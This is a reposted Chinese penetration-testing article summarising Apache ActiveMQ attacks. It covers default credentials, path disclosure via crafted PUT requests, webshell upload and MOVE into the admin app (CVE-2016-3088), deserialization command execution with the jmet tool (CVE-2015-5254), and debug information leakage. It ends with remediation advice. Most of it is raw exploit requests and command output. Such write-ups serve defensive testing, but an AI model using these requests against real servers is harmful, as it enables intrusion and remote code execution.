ActiveMQ漏洞利用方法總結


轉載來自:http://www.freebuf.com/column/161188.html

1、Console存在默認端口和默認密碼/未授權訪問(默認密碼為admin:admin)

ActiveMQ默認使用8161端口,使用nmap對目標服務器進行掃描:

[root@localhost src]# nmap -A -p8161 192.168.197.25 \ Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST Nmap scan report for 192.168.197.25 Host is up (0.00016s latency). PORT STATE SERVICE VERSION 8161/tcp open http Jetty httpd 7.6.7.v20120910 |_http-methods: No Allow or Public header in OPTIONS response (status code 401) | http-auth: HTTP/1.1 401 Unauthorized | |_basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized 

1.jpg

2、ActiveMQ物理路徑泄漏漏洞

ActiveMQ默認開啟PUT請求,當開啟PUT時,構造好Payload(即不存在的目錄),Response會返回相應的物理路徑信息:

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1 Host: 192.168.197.25:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 4 test 
Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910) 

2.png

3ActiveMQ PUT任意文件上傳漏洞

ActiveMQ默認開啟PUT方法,當fileserver存在時我們可以上傳jspwebshell

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1 Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code. 
Response Raw:
HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910) 

3.png

一般構造返回204響應碼即為成功,筆者測試其他環境為不可put時,返回為404500put完成,我們查看service下的信息:

[root@localhost fileserver]# pwd /data/apache-activemq-5.7.0/webapps/fileserver [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]# 

4、ActiveMQ任意文件文件移動漏洞

ActiveMQ除了支持PUT協議之外,還支持MOVE協議。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1 Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0 
Response Raw:
HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910) 

4.png

服務器信息如下:

[root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# ls index.html META-INF WEB-INF [root@localhost fileserver]# cd .. [root@localhost webapps]# ls admin demo favicon.ico fileserver index.html styles [root@localhost webapps]# cd admin/ [root@localhost admin]# ls 1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp 404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF 500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml [root@localhost admin]# 

5.png

6.png

同理,寫ssh key一樣,在此不再重復造輪子。

影響版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

 

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默認對外開啟61616端口,默認為ActiveMQ消息隊列端口。

其中存在一下小的細節問題:

  1. 工具releaes的為JDK 1.7,如果自己build可無視

  2. 使用工具需要在當前目錄下創建一個external目錄,否則會出現NoSuchFileException

通過構造payload,向隊列發送反序列化數據到消息隊列中。

(工具下載地址:https://github.com/matthiaskaiser/jmet)

[root@sevck_v3 ~]# java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1 INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py" INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1 

7.png

查看消息隊列觸發:

8.png

 

服務器監聽:

9.png

注:如果反彈不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要進行一次編碼

推薦工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html

影響版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞

CVE信息:CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2apache-activemq-5.14.0to apache-activemq-5.14.561616默認使用了OpenWire協議,開啟了debug模式,debug模式會泄漏操作系統相關信息

10.png

影響版本:Apache ActiveMQ5.14.0 – 5.15.2

 

CVE信息: CVE-2017-15709

 

修復建議:

  1. 針對未授權訪問,可修改conf/jetty.xml文件,bean id為securityConstraint下的authenticate修改值為true,重啟服務即可

  2. 針對弱口令,可修改conf/jetty.xml文件,bean id 為securityLoginService下的conf值獲取用戶properties,修改用戶名密碼,重啟服務即可

  3. 針對反序列化漏洞,建議升級到最新版本,或WAF添加相關規則進行攔截

  4. 針對信息泄漏漏洞,啟用TLS傳輸或升級到Apache ActiveMQ5.14.65.15.3以上版本


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM